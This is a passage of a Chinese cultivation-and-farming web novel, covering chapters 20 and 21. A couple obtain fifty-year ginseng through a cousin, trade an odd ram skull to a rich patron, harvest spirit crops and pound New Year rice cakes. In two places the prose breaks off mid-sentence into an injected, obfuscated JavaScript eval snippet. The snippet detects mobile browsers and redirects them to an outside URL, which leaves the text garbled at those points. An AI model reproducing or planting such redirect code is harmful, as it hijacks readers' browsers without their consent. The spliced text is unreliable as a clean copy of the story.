也不需要别的什么,柳芸香只从小溪里打了一壶水,烧开放凉后,就用这雪山上流下来的水,冲泡雪山里得来的蜜。 不似寻常蜂蜜那般甜,木梨花蜜甜味很淡,若有似无,更多的是一股清冷凛冽的味道,仿佛雪山上迎面吹来的风,夹杂着万年不化的高山冰雪的气息,一杯下肚,浑身燥热都去了,整个人由内而外的宁静下来。 梁青山咂咂嘴,点评道:“适合夏天喝,比什么酸梅汤绿豆汤都好使。” 柳芸香笑着赞同,“那些解暑汤剂喝多了伤肠胃,木梨花蜜却能养人,就留着等夏天再享用吧。” 将花蜜收进库房,她又从里头拿了包药材出来。 梁青山的药浴已泡了六次,今天该泡第七次,按照这个进度,过不了多久九副药便能全部泡完,之后就要准备第二张方子上的药了。 那方子柳芸香早已看过,里头一半是寻常的药,一半是灵药,等到第三张方子,就全部换成了灵药。 寻常的那些药,药房里都能买到,只有一样五十年份的人参,或许要费些心思。而那一半灵药,她已翻找过书中记载,在山门附近都能找到,倒不算麻烦。 “五十年份人参?!”梁青山刚泡完药浴,正有气无力瘫坐在地上,听见她的话,整个人跳了起来。 见他反应这样大,柳芸香好笑道:“五十年的参虽少见,说到底还只是凡药,里头连灵气都没有,若真论起珍贵程度,你每日当饭吃的青竹米都比人参宝贵,更不要说其他的灵果、灵兽肉,怎么这些吃得,人参却用不得?” “是这样吗?”梁青山呆了一下。 他只是一听说五十年,就有点被唬住了,长久以来的观念一时难以转变,总觉得人参是富贵人家才用得起的。 之前买个十年参,便觉得自己够败家了,五十年的人参,都快赶上爷爷的年纪,居然要拿来泡澡,他立刻感觉太夭寿了。 但现在听柳芸香这样说,想想似乎确实是这么一回事,那么多含有灵气的食物都吃了,四五百斤的灵羊都抓来炖过,他怀里还揣着个能装下整个小房间的荷包呢,哪个不比人参稀罕? 梁青山抓抓脑袋,有点不好意思,“是我太大惊小怪了。” “你只是一时半会没反应过来而已。”柳芸香含笑摇头,“不过,药房里的人参多是一二十年的,即便有好参,也多要给贵客留着,咱们这样毫无根基的,就算有钱,人家也未必愿意卖,不如还是请大堂哥帮忙打听一下。” 那些商户,凡是能做大的,背后必定有足够的关系,药房也不例外,有了好药材,不是优先往深宅高院里送,就是留着以备不时之需,这些都是维持人脉的关键,像他们这样的平头小百姓,捧了钱去,都 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周月华嘴上嫌弃,实则心里对好不容易得来的两个孩子疼得很,听柳芸香这样说,脸上笑容怎么也收不住,“你可别被他们骗了,就是在外面装乖,私底下不知多皮呢。” 一路聊着家常闲话,等出了岭内村那道山口,边上没人时,周月华凑近了压低嗓音道:“你大哥前天回来,说往后要去书肆当掌柜了。” “那可要恭喜嫂子和大哥。”柳芸香笑着道。 周月华嗔她:“你这人,肚子里真能藏住事,装得跟不知道似的。他私下悄悄跟我说了,这事儿多亏了你跟青山帮忙,不然还不知道什么时候能熬出头。” 柳芸香便道:“那也是大哥自身有本事,换个人来不一定成。” “他能有什么本事。”周月华笑着嫌弃,又道,“他只跟我提,连爹娘都不敢说,你也知道我们那院子的情况,要是爹娘知道,二弟和弟妹也就知道了,就他们那德性,还不得到处嚷嚷?到时候你们可别想过安生日子。所以你大哥就说,不能往外提。别的倒没什么,只是我想跟你们道谢,都没法大大方方的。” 许家寿宴过去后,梁青河虽然得了那位二公子的许诺,可以去书肆做掌柜,却一直闭口不言,直到近日事情落定,才对家人提起。而其中梁青山与柳芸香帮的忙,更是只对妻子提及,就是为了不给两人带来麻烦。 听了周月华的话,柳芸香笑道:“说什么道谢,往后我跟青山要麻烦大哥大嫂的地方可多着,到那会儿,说不定你们还要嫌弃我们呢。” 周月华瞪她一眼:“我倒怕你们不来找我,有事只管来!” “哦呦,大嫂子好凶,吓得我腿都软了。”柳芸香佯装害怕,面上却笑盈盈道。 “你这坏丫头!”周月华绷不住也笑出声。 20.第 20 章 020 柳芸香去赶集时,梁青山已到了县里,送完菜,晃晃悠悠走到东坊市。 前些天,梁青河跟他说过自己调任书肆掌柜的具体日子,因此他直接找到许家书肆所在。 见到梁青河,梁青山开口就道:“大哥,你帮我问问哪里能买到五十年份的人参。” 梁青河正在柜台后拨算盘,听见这话,手一抖,算盘珠子全乱了,抬头深深盯着他,半晌才道:“你说你要买什么?” 人参?还是五十年份的? 莫非他人没老,耳朵已经不行了? 梁青山头回进书肆,正好奇地四下打量,这里摸摸,那里动动,漫不经心重复了一遍,“五十年的人参,你帮我打听一下,我有用。” 梁青河深吸口气,努力让自己开口时显得心平气和点,“你先说说,有什么用。” 这会儿书肆里没人,梁青山便大咧咧说道:“我要补身体。” 梁青河闻言默不作声,只是拿了把戒尺,从柜台后绕出来。 一看这架势,梁青山早已一蹦三尺远,警觉地退到书架后头,“大哥你冷静点,不要动不动喊打喊杀。” “你过来,我保证不打死你。”梁青河语气平静。 “你又打不过我。”梁青山嘟囔了一句,眼看他大哥开始咬牙切齿,忙笑嘻嘻道,“开玩笑开玩笑,不过大哥,刚才那话是认真的,我要人参有用,这事我媳妇儿也知道,是她让我找你帮忙的。” 听见后半句话,梁青河面色才稍缓了些,在他看来,弟弟虽然不靠谱,很有败家的潜质,弟媳妇儿做事却是极有章法的。 他走回柜台里,摆出长谈的姿势,“具体怎么回事,跟我说说。” 梁青山瞄了瞄他手里的戒尺,小心翼翼靠近,“也没什么,就是之前媳妇儿见我有点瘦,就去药房抓了些药给我补补,方子是她家传的秘方,里头要用到人参,一开始只需十年份,现在要五十年的了。” 这自然是两人商量好的说辞,比起练功要泡药浴,或许谎话更容易让人相信。 梁青河边听边皱眉看他,才发现不知什么时候,堂弟居然变得如此健壮,宽肩高个,猿背蜂腰,活脱脱一条大汉。 他不由陷入沉思,这败家子之前长什么样来着? “大哥?”梁青山又凑近了些。 梁青河回过神,上下打量他,“你都这样了,还需要进补?” 壮得跟牛一样,再补下去难不成要去打老虎? 梁青山挺了挺胸膛,很自豪道:“我媳妇儿说了,钱花我身上不心疼。” “谁问你这个。”梁青河嫌弃地看他一眼,忽然想起什么,“十年份的人参也不便宜,之前卖菜那些钱,都让你花了?” “是啊。”梁青山语气越发自豪。 梁青河听得直摇头,方才还觉得弟妹做事有章法,现在看来,这两个人半斤八两。 当然,弟妹人是极好的,对堂弟一片心意看得见,不论秘方还是银子都舍得。问题就是太舍得了,卖菜得来的银子,他虽不知具体有多少,但估摸着二十两总有的,在乡下都够盖几间屋子了,就这么眼也不眨全砸下去,小兔崽子他怎么配啊! “人参记得帮我留意一下,先回去了。” 见他没别的话,梁青山自觉完成了媳妇儿交待的任务,挥挥手走了。 梁青河在后头看着他那身腱子肉,只觉得牙疼,这可都是银子堆起来的! 虽然对小两口花钱的架势颇不认同,但两人托付的事,梁青河还是认真去办了,两日后特地回了趟岭内村。 柳芸香与梁青山还没歇下,见他来了,忙奉上热茶。 梁青河端起茶碗饮了一口,一股热气顺着茶水直入腹内,很快连手脚都暖和了起来,不由笑道:“这姜茶热气够足,弟妹有心了。” “是我们让大哥费心才是。”柳芸香歉意道。 外头天寒地冻的,他满身寒气赶来,要是着了风寒,那就是他们两人的罪过,因而她在茶水里头添了些许流焰果的汁液,又用姜汁掩盖气味。 流焰果是低阶灵果,不曾修炼的人也能适当用一些,驱寒效果极好。 “不说这个,”梁青河摆摆手,放下茶碗,“你们想找的人参,已经有消息了,只是——” “是不是很贵?”梁青山问。 梁青河却说:“不光是银子的事。当日我去药房打听,里头的人要么说没货,要么说已经被人定走了,我知道多半是推托之词,好参自来是给大户人家留着的。我便想请许家二爷帮忙,他一口就应了,还说不必去药房买,他家里就有。” 梁青山与柳芸香对视一眼,挠挠脑袋,“这不是挺好吗,他既然有,又愿意帮忙,我们就跟他买呗。” 柳芸香听出梁青河语气有异,心里有了猜测,“只怕对许二爷而言,人参不稀罕,银子也是不稀罕的。” “不错,”梁青河赞许地点了点头,“像许家那样的门第,别说五十年人参,就是百年老参,想来也能找到,银子就更不必提了。” “那你们的意思是……”梁青山皱皱眉,“人家不想要银子?想要别的?” 梁青河微微叹气,“正是如此,自从上回那几枚桃子的事后,许二爷就和我提了几次,下回再有什么稀奇的玩意儿,一定别忘了给他送去。” “哪有那么多稀奇玩意儿。”梁青山撇撇嘴,正想说不用那位许二爷帮忙了,柳芸香在桌下拉了拉他的衣角。 她笑着对梁青河道:“许家二爷的意思我们明白了,辛苦大哥劳累了这几日,我与青山再思量一番,过两日必定给大哥回复。” 梁青河便关切问道:“你们有什么打算?这寒冬腊月的,可不许往深山里去。就算没有那稀奇的东西,用银子买也不是不行,只是大概不便宜。” 他先前迟疑也是因为这个,好参不好找,难得许家二爷肯松口,但人家是冲着好玩来的,要是没有让他看得上眼的稀罕物,就算还愿意卖参,价钱肯定也不会低。 偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14028448|146639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂弟家里有他这个败家货色在,家底估计都给掏光了,还不知能剩几个钱。 柳芸香点点头,“大哥放心,我们知道轻重。” 见她应下,梁青河才安心,又看夜色已深,便起身匆匆离去。 他一走,梁青山就问:“芸香,你有办法?我们的银子够吗?” 柳芸香关闭门户,拉着他进了混沌珠,才道:“原先不知道大哥的消息来得这样快,只凭咱们手头的现银还不够。” 而大哥能请动许家二爷帮忙,必定是耗费了人情的,假如他们这边给钱给得拖拖拉拉,恐怕大哥会很难做。 梁青山皱眉想了想,道:“明日我进山看看吧。” 他如今的实力虽在修真界算不得什么,但若遇上虎豹熊瞎子,也是能赤手空拳斗一场的。 柳芸香瞥他一眼,“才大哥交代不许入山,你就给忘了?况且这时节,山林里空荡荡的,未必能碰到什么好东西。” 那怎么办?梁青山用眼神询问她。 柳芸香没说话,径直走向库房,从里头掏出一个大家伙。 “嚯!”梁青山正好凑着脑袋看过来,和一颗狰狞的头对个正着,吓得整个人蹦了一蹦。 那是旋角盘羊的头,脑袋连着巨角,只在地上放着,就有半人多高。 头颅肉少骨头多,长得实在太丑,两人不太想吃,又没想好能拿来做什么,就一直在库房里放着,如今正是派上用场的时候。 柳芸香含笑道:“那位许家二爷不是想要稀罕玩意儿么,这盘羊头和角在外头属于独一份,应该够稀奇了。” 其实混沌珠内,符合要求的东西很多,随意一种灵植都可以,只是那些都有灵气,对方拿去吃了或者用了,很容易察觉到是好东西,过后必定还想再要。 她跟梁青山如今虽有了些实力,却不足以震慑所有人,暂且还是谨慎些为好。 这颗盘羊头却不同。 柳芸香将其放在大锅内炖煮,剔除皮毛和血肉之后,又放在小溪里经流水冲刷,彻底除去上头的碎肉和气味,成了一尊雪白的颅骨,这颅骨与寻常骨头不同,透着玉质的莹润,头上还顶着一双巨大的角,初看狰狞,看久了却有种异样的美感。 虽然同样出自混沌珠,旋角盘羊头颅却既不能吃,也不能用,只能当成个猎奇的玩意而已。 等给那位许家二爷送去,就说是在飞仙岭深山中发现的,找到的时候就只有一尊颅骨,谁也不知是什么动物。 如此一来,既满足了对方的要求,也不会引来觊觎。 “真的要送出去吗?”梁青山恋恋不舍地摸着颅骨上镰刀型的巨角。 之前羊头上有皮有肉的时候,他只觉得奇丑无比,多看一下都伤眼睛,如今只剩骷颅头,不知道为什么,反而觉得越看越好看,甚至还想挂在墙上慢慢欣赏。 柳芸香好笑道:“你想要,下回再去猎一头就是了,这颗快给大哥送去,别让他久等。” “好吧。”梁青山叹了口气。 21.第 21 章 021 且不提梁青河见到那尊颅骨的震惊,梁青山将东西交给大堂哥后,马不停蹄回了家。 这几日,混沌珠内正要迎来一场丰收,早前培育的沙粉薯眼看着成熟,后来种下的两千株青竹米,马上也能采收了,他可没工夫在外头耽误。 沙粉薯能吃的部分是埋在土里的块茎,梁青山原以为跟芋头差不多,底下是大芋头上长着小芋头。 等锄头挥下去才发现,什么芋头都没有,只有长长一根木头似的东西,快半人高,碗口粗细,长得歪七扭八,表面还有些黑疙瘩。 “好丑。”他拎起来看了看,有点嫌弃,“像树根一样,能好吃吗?” 他会问出这样的问题,柳芸香一点也不意外,只笑道:“沙粉薯本身没什么味道,据说吃起来是面面的口感,适合跟肉类一起炖煮,也可以单独做主食。不过最重要的用途,还是用来炼制低阶辟谷丹,炼气修士服用一颗,可以连续七日不必进食。” 她一边解释,一边拍去沙粉薯上的泥土,装进竹筐里。 然而梁青山听了越发不能理解,“这修真界的人,只吃辟谷丹不吃饭吗?他们一天到晚忙什么?” 他知道修为越高寿命越长,比如媳妇儿才炼气,已经能活一百二十岁了,等他步入功法第一层,也会比现在长寿,那些修为高深的人更不必说,听说各个都能活好几千岁。 活那么久,本来就该给自己找点乐子才对,不然日子怎么打发?结果这群人居然连吃饭都省了,有那么忙吗? 柳芸香听了,笑着摇头,“是有些修士专注于道途,不愿在外物上消耗精力,不过并非所有人都如此,修真界还有专门以食入道的食修呢。而且辟谷丹在许多时候都能派上用场,比方修士闭关修炼,总不好时不时停下来进食吧?” “原来是这样。”梁青山点了点头。这还差不多,要是修真界真的只有一群不吃饭的人,那也太没意思了。 灵田里沙粉薯种得不多,仅百来株,然而它们的根茎都深深埋在土里,稍不留神就会掘断,挖起来颇为费事,两人花了小半日才全部收完。 做饭时,柳芸香便用沙粉薯炖盘羊肉。 单单一根沙粉薯,就重达七八斤,她只从上头切了一截,洗净削皮切成小块,与羊肉一同下锅。 这两种食物都是土属性,不必担心它们灵气相冲,不过她想起上回做肉干,不知怎的就让里头的灵气变得更容易吸收,或许跟她用灵力疏导过有关? 抱着这样的猜测,她尝试着把锅里的食材也都疏导了一回,因是单一土属性,做起来比之前更容易。 从一次梳理一小块食物,到试着分出越来越多的灵力丝,同时处理更多的食材,不知不觉,自她指尖导出的灵力丝已达十余条,竟也依然井然有序,不见丝毫混乱。 直到—— “什么东西糊了?” 梁青山收拾完库房走过来,边走边吸鼻子,媳妇儿做个饭都这样专注,他也不敢打扰,只小声提醒。 柳芸香转头看他,一时还没回神,待闻见鼻尖的味道,才惊道:“呀!沙粉薯会糊底!” 梳理灵气梳得太入迷,都忘记动锅铲了!她赶紧设法补救。 梁青山蹲在边上吃吃地笑,从来只见媳妇儿不管做什么事,都不紧不慢有条有理的模样,还是头回犯这样的迷糊嘞。 那笑声实在太响亮,柳芸香想装作没听到都不行,本来就发窘,到后来就有点羞恼了。 梁青山见状忙端正了神色,一脸严肃道:“没事没事,那糊的我来吃,糊的更香噗——哈哈哈哈!” 可不是糊的更香么,整个山谷都是这股焦味。 柳芸香怎么听不出他话里取笑的意思,红着脸颊瞪过去一眼,谁知这人不但不收敛,还笑得越发嚣张。 她抿抿唇,指尖微动,飞快地掐了道法诀。 “哈哈哈……诶?”梁青山笑得正欢,忽然身上缠上几条藤蔓,裹粽子似的把他五花大捆绑了起来。 他低头看看自己,再瞧瞧仿佛无事发生般,专心做饭的媳妇儿,终于察觉到一点危机感。 尝试着绷紧力道,那藤蔓缠得不算太紧,只是十分坚韧,恐怕得花上七八分力才能崩断。 然而他不敢自己弄断,不然媳妇儿真的生气了怎么办? 连两条腿都被捆起来了,梁青山只好整个人一蹦一跳地靠过去,讨饶道:“芸香,我错啦。” 柳芸香掀起眼帘看他,脸上挂着盈盈笑意,“好笑吗?” “好——”被她的笑容迷惑,梁青山刚要点头,突然反应过来,忙用力摇晃脑袋,“不好笑不好笑。” “我倒觉得挺有意思的。”说话时,柳芸香上下打量他。 梁青山下意识缩了缩脖子,不知道为啥,媳妇儿说话语气明明跟平时一样温柔,可他怎么就觉得后背凉凉的呢? 他忙讨好道:“芸香,这个法诀叫什么名字,好厉害呀。” 柳芸香瞥他一眼,顾自拿起碗从锅里盛饭,随意道:“这是缠丝诀,我本想学来对付灵兽的,现在发现,用在其他地方似乎也很方便。” 这一锅沙粉薯炖盘羊肉,虽被糊味掩盖了几分气味,却依旧浓香醇厚,荤香扑鼻,盘羊肉炖得几近脱骨,沙粉薯几乎化在汤汁里,汁水鲜亮而浓稠。 梁青山立刻被吸引了注意力,眼睛紧紧盯着肉,心猿意马道:“原来叫缠丝羊肉,这名字好听。” 柳芸香:“……” 好笑地摇了摇头,到底还是撤去法诀,让他过来吃饭,不然,只怕有人的口水要泛滥成灾。 饭后两人各自修炼,等修炼完毕,又接着采摘青竹米。 两千株青竹米收完,灵田顿时空了大半。 柳芸香站在田间小径上看去,如今地里只剩银丝草、回春花与汲阳木了。 银丝草是不入品阶的金属性灵植,当初与沙粉薯一同种在山脚下的灵田里,因生长缓慢,至今仍未成熟。 回春花与汲阳木则都是人阶灵植,所需灵田等级比不入品阶要高一等,位置在山脚往上。 其中回春花是木属性,虽然发芽时有些费劲,后来的长势却很不错,已有一尺来高。 至于汲阳木,则是在流焰果成熟后,种下的火属性灵植。 因生长过程中汲取了一丝太阳之力,汲阳木所含灵气热烈灼灼,成材之后,可为炼丹炼器提供充足且稳定的火力,在修真界,十分受低阶丹修与器修青睐。又因其木心可当作暖玉佩戴,同样为凡人所追捧。 眼下,这种备受欢迎的树木还只是几颗种子。它们倒比回春花省心,只需放在阳光底下曝晒即可,等晒得心满意足时,自己就会发芽。 柳芸香每日都要放出灵力探一探,确定这些种子仍在享受阳光,而不是被晒死了。 两人在混沌珠里,沉迷修炼,沉迷种田。 直到这日,族里几个年轻人上门,询问梁青山打算什么时候打年糕,柳芸香才发觉,外界的年味已经越来越浓了。 每年过年前一二十天,是村里家家户户打年糕的日子,富裕的人家多打些,日子过得窘迫的,就少打点,打好的年糕浸在大水缸里,能从年前一直吃到正月。 因打年糕十分耗费体力,若火候不够,打出来的年糕不成型,吃起来口感也不好,于是经常有相熟的人家约在同一天蒸糯米,再由几个壮劳力轮流上阵打年糕。 以往梁青山从来没打过,毫无经验可言,但就凭当日帮五叔公家迎亲时的表现,也足以让人惦记上他那一身力气。 “咱们家要蒸年糕吗?”梁青山转头问柳芸香,他根本没想过还有这事。 主要是,以往家里的年糕,父母几乎不会给他吃,以至于他都没有过年要吃年糕的意识。 柳芸香给客人上了茶,点点头,“要的,不过家里没有糯米,得先去跟村里人买一些。” 她又问笑着问客人:“你们定好日子了吗?家中可还有富余的糯米?” 几位年轻人顿时红了脸,支支吾吾,你推推我,我推推你。 来的三个人里,只有一个成了亲,剩下两个刚到可以说亲的年纪,乡下地方,男女大防并不如城里严苛,毕竟都得下地干活,即便是里长家的孙女,也不讲究什么大门不出二门不迈。 但他们平日见过的年轻姑娘,可没有哪一个这样白净好看,这样温柔细致,叫人不好意思抬头看她。 三个小伙子仿佛身上爬满了蚂蚁,坐立不安。 梁青山还在想年糕的事,见他们这样,顿时眯起了眼睛。 他嚯地起身,一手揪着一个就往外走,边走边回头问:“五十斤糯米够不够?” “太多了,三十斤就好,钱还没带上呢。”柳芸香在身后提醒。 “没事,回头再给。”梁青山道。 话音没落,人已经出了院子。 很快,柳芸香听到几句求饶声从院外传来,不由摇头失笑。 没多久,梁青山扛着糯米回来,当晚就泡水浸下,隔天去磨坊磨成粉,再带回家蒸熟,之后才开始打年糕。 村子里有一个公用的大石臼,一年到头积着灰,等到腊月里,才会被人搬到晒场上,洗刷得干干净净。 除了昨日约好的几户人家外,周月华也端着一盆蒸熟的糯米粉来了。 “还好你昨天喊了我,不然你大哥不在家,想吃块年糕都得看人脸色。”周月华意有所指。 柳芸香闻言只笑了笑,大堂伯家虽然人多,但成年男子只有三个,堂伯年纪大了,大堂哥又在县里,往年出力打年糕的估计都是二堂哥,而二堂嫂想必有话说。她就是想到这个情况,才上门约了大嫂一起,反正梁青山力气足,多打一盆年糕,只当锻炼。 也是凑巧,今天上去卖力气的,都是年轻小伙子,一个个年轻气盛,精力十足,挥舞起木槌来显得特别精神,而梁青山又是其中最突出的那个。 于是慢慢的,边上来了不少看热闹的人,有些妇人还指指点点,说说笑笑,年轻的小姑娘也大着胆子看了一眼又一眼。 周月华环顾一圈,啧啧有声:“看看这些人,芸香,不是我说,你还是别把青山养得太好,都养成别人眼中的香饽饽了。” 想想几个月前,还没成亲的时候,青山哪有这么好的行情? 柳芸香正要说话,就见晒场上梁青山把捣糯米的木槌递给下一个年轻人,向她走过来。 大冬天的,他只穿一件夹衣,薄薄的衣裳掩盖不住宽阔的胸膛,整个人热气腾腾站在她面前。 “累了吗?”柳芸香把水囊递过去。 梁青山摇了下头,“这点活算什么,要不是得换着来,给他们上手的机会,我一个人就能干完。” 喝了两口水,他又冒出一句:“我比他们都厉害,对吧?” 虽有些疑惑,柳芸香还是笑着点点头。 然后就听到梁青山道:“所以你要多看看我,不要看他们。” 柳芸香愣了一下,才反应过来他的意思,一时哭笑不得。 这傻子,只知道计较她看别人,完全不知道其他人也在看他呢。 那头梁青山还双眼灼灼等着她的答复,柳芸香只得无奈道:“知道了。” 他这才心满意足,继续打年糕去了。 人一走,旁边周月华就夸张地打了个哆嗦,又用力搓着手上并不存在的鸡皮疙瘩,虽然一句话没说,但那揶揄戏谑的眼神,还是叫柳芸香发窘。 谁知道他会突然跑过来说这样的话,就因为昨天几个小伙子上门的事? 看不出那么大的个子,居然还是个小心眼。 打好年糕没两天,梁青河就把人参带来了。 扁扁的一个木匣子,里头装着两株老参,参芦俱全,品相上佳。 “这就是五十年份的人参?”梁青山凑过来看了看,有点疑惑,“怎么感觉不比十年参大,还干干巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可自从沾了堂弟小两口的光,先是去书肆当掌柜,每月工钱二两,转眼又得东家嘉奖,涨到三两银子,前后还不到两个月。 这让他既高兴,又有些说不出的感慨。 而且,梁青河心里隐隐明白,假如上回桃子的事,还能说是堂弟运气好碰上了,眼下有了第二回,恐怕不只是运气这样简单。 不然飞仙岭就在那里,这么多年来村里人出出入入,怎么别人一回也没碰上,偏就他那样好运? 他看了眼拿着人参盒子好奇把玩的堂弟,再看看旁边端坐着、面上带笑的弟妹,似乎就是从成亲之后,堂弟才有了这许多变化,又是在山里种出了菜,又是用人参补身体,又是仙桃神兽。 不过,他自来心里就能藏住事,虽有许多想法,却一句话也没问,更不准备对别人提。 “对了大哥,还有一事想要问问您的意见。”柳芸香忽然道。 梁青河回过神,忙说:“弟妹直言便是。” “是这样的,”柳芸香看了梁青山一眼,笑道,“我与青山当初刚分家,身无长物,受了族里恩惠,才有一处安身之地。眼下我们也算能自食其力,便想着是不是该给族里交一份租子?” 他们现在住的这间小院,原属于同族一位老人家,老人无后,身后事是族里出银子办的,这间院子也就成了族中公产。 之前柳芸香跟梁青山分家出来,无处落脚,两人的大堂伯便跟族里提议,让他们搬到这里来住。那会儿族里人都无意见,也没人提起钱的事。 但柳芸香知道,这段时间梁青山日日进城卖菜,不知惹来多少眼热,早晚会有人心气不平,认为他们有了钱,还占族里的便宜。与其等别人挑出来,不如自己主动提起,况且这本就是应有之义。 果然,梁青河听了也十分赞同,“正该如此,我回去就跟长辈提一提,你们能想到这点很好。” 乡下房子便宜,这三间正房的小院,一年租子最多几百文,梁青河知道对小两口来说不算什么,但两人能主动提出,说明他们心思是正的。 他心里暗道,不论如何,只要堂弟与弟妹行事堂堂正正,别的又何必多想。 梁青河走后,人参被两人收进珠界里。 梁青山第二张药浴方子里的药材,凡药中最麻烦的已经解决了,至于灵药,柳芸香觉得也可以提前筹划,免得事到临头急急忙忙。 接下来几日,她在闲暇之时,便从书里收集那些灵药的资料。 一共有八味灵药,其中虎筋草已经有了,其他七种,根据其生长习性,她大致划定了三个方位,而后又根据这三个方位规划路线。 因都在山门附近,没有高阶灵兽出没,并不算危险,只是当中有一味叫填髓乳的,是某种昆虫所泌,采集起来有些麻烦。 另外还需经过一片沼泽,沼泽里有种灵兽,不太好对付。 柳芸香想了一会儿,发现这些难题,都因两人目前实力不足,只要能更进一步,所有的困难都将迎刃而解。 不过到了那时候,只怕又会有新的困扰了吧? 想着想着,她暗自失笑,索性暂时丢开,转而练起了新法诀。 先前绑住梁青山的缠丝诀,是木属性法诀,她想再学一道炎火诀。 一遍遍练习新的手诀与法咒,一次次默默描绘灵力运行路线,直到整个过程了然于心,她才尝试着去勾动体内的灵力。 先前初学法诀时,清风决和细雨诀试了不知多少回才成功,后来金针诀与缠丝诀也并非一次就练成,柳芸香做足了失败的心里准备。 因此当第一次打出炎火诀,眼前霍然出现个硕大的火球时,她难得呆了一下。 待回过神来,头一件事不是高兴,而是马上跑去水边照了照。 还好还好,头发没烧掉,不然有的人又要笑个不停了。